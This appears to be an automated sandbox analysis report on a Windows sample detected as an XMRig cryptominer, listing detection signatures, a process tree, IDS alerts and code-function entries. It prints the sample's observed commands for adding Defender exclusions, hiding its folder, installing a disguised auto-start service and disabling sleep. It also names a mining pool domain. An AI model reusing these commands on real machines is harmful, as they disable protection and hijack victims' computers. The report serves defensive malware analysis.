Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1517543
MD5:	59005d24321480b22ab38ef753109b98
SHA1:	0983f2b6e88d8864b3f96e515737b2bb14de9b0c
SHA256:	9133e5212a0edb47d12b9f7dbda08c996db9223f3d2b1fc68c2d33579c97da6a
Tags:	exeuser-Bitsight
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Detected Stratum mining protocol

Drops large PE files

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses attrib.exe to hide files

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6740 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 59005D24321480B22AB38EF753109B98)

file.exe (PID: 6792 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 59005D24321480B22AB38EF753109B98)

file.exe (PID: 4280 cmdline: "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py" MD5: 59005D24321480B22AB38EF753109B98)

file.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py" MD5: 59005D24321480B22AB38EF753109B98)

cmd.exe (PID: 6212 cmdline: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7128 cmdline: powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 7068 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 2792 cmdline: C:\Windows\system32\cmd.exe /c "attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 792 cmdline: attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 4080 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

di.exe (PID: 5828 cmdline: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe MD5: 062C19600CD942AE5C1004E91507B9A5)

dwm.exe (PID: 2764 cmdline: C:\Windows\System32\dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

cmd.exe (PID: 5016 cmdline: C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5228 cmdline: sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5164 cmdline: C:\Windows\system32\cmd.exe /c "sc description DrvSvc "Launches applications associated with still image acquisition events."" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6048 cmdline: sc description DrvSvc "Launches applications associated with still image acquisition events." MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5780 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6788 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 1544 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 2024 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 5468 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2484157082.00000218DB15F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1892, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force", ProcessId: 6212, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto, CommandLine: sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5016, ParentProcessName: cmd.exe, ProcessCommandLine: sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto, ProcessId: 5228, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6212, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7128, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T03:52:27.780619+0200	2044697	1	A Network Trojan was detected	192.168.2.4	49739	194.59.31.63	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T03:51:17.108598+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	49738	149.102.143.109	10128	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: gulf.moneroocean.stream

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp

ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 34%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1AB4 CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A1AB4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1893 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_strdup,ERR_new,ERR_set_debug,	1_2_00007FFE004A1893
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F80A0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004F80A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE040 CRYPTO_free,	1_2_00007FFE004EE040
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00504110 ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	1_2_00007FFE00504110
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1140 CRYPTO_free,	1_2_00007FFE004A1140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE0C1 CRYPTO_free,CRYPTO_free,	1_2_00007FFE004EE0C1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A24C8 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,	1_2_00007FFE004A24C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A26DF BIO_s_file,BIO_new,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,strncmp,ERR_new,ERR_set_debug,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	1_2_00007FFE004A26DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE200 CRYPTO_free,	1_2_00007FFE004EE200
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1389 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A1389
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E4230 CRYPTO_malloc,memset,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE004E4230
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E2230 ERR_new,ERR_set_debug,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,BN_clear_free,	1_2_00007FFE004E2230
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BE227 CRYPTO_THREAD_write_lock,	1_2_00007FFE004BE227
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C21C0 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,	1_2_00007FFE004C21C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B21F0 CRYPTO_THREAD_run_once,	1_2_00007FFE004B21F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1B54 memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,memcpy,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE004A1B54
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A198D CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A198D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1401 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1401
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE260 CRYPTO_free,	1_2_00007FFE004EE260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A4300 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A4300
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A23D8 EVP_MD_get_size,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_clear_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004A23D8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE005122F0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE005122F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2180 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE004A2180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0051A2C0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_set_rsa_padding,OSSL_PARAM_construct_uint,OSSL_PARAM_construct_end,EVP_PKEY_CTX_set_params,EVP_PKEY_decrypt,OPENSSL_cleanse,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_CTX_free,	1_2_00007FFE0051A2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C0380 X509_VERIFY_PARAM_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	1_2_00007FFE004C0380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A25EF CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,memcpy,memcmp,memcmp,memcmp,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_clear_free,	1_2_00007FFE004A25EF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B43A0 OPENSSL_sk_num,X509_STORE_CTX_new_ex,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,X509_STORE_CTX_init,ERR_new,ERR_set_debug,ERR_set_error,X509_STORE_CTX_free,X509_STORE_CTX_set_flags,CRYPTO_THREAD_run_once,X509_STORE_CTX_set_ex_data,OPENSSL_sk_num,X509_STORE_CTX_set0_dane,X509_STORE_CTX_set_default,X509_VERIFY_PARAM_set1,X509_STORE_CTX_set_verify_cb,X509_verify_cert,X509_STORE_CTX_get_error,OPENSSL_sk_pop_free,X509_STORE_CTX_get0_chain,X509_STORE_CTX_get1_chain,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_move_peername,X509_STORE_CTX_free,	1_2_00007FFE004B43A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F8350 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE004F8350
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A139D memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	1_2_00007FFE004A139D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A84B0 CRYPTO_zalloc,CRYPTO_free,	1_2_00007FFE004A84B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A18B6 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A18B6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A0F ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_CIPHER_get_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,CRYPTO_memcmp,ERR_set_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_pop_to_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,strncmp,strncmp,strncmp,strncmp,strncmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A1A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00512510 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE00512510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1492 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1492
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1F23 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE004A1F23
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE5A0 CRYPTO_free,	1_2_00007FFE004EE5A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EE540 CRYPTO_free,	1_2_00007FFE004EE540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00504540 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE00504540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1488 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A1488
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A120D EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	1_2_00007FFE004A120D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BA600 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	1_2_00007FFE004BA600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1212 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE004A1212
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A114F CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE004A114F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E8620 CRYPTO_free,	1_2_00007FFE004E8620
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E25D0 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	1_2_00007FFE004E25D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CE5E0 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	1_2_00007FFE004CE5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A241E CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A241E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1CA3 CRYPTO_strdup,CRYPTO_free,	1_2_00007FFE004A1CA3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00500700 ERR_new,ERR_set_debug,CRYPTO_clear_free,	1_2_00007FFE00500700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A17E9 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,memcmp,ERR_new,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A17E9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE005126E0 CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_fetch,EVP_CIPHER_get_iv_length,RAND_bytes_ex,EVP_CIPHER_free,EVP_EncryptUpdate,EVP_EncryptFinal,ERR_new,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get_iv_length,ERR_new,ERR_new,CRYPTO_free,EVP_CIPHER_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_CIPHER_CTX_free,	1_2_00007FFE005126E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E86D0 OPENSSL_cleanse,CRYPTO_free,	1_2_00007FFE004E86D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A26AD ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE004A26AD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A14CE CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE004A14CE
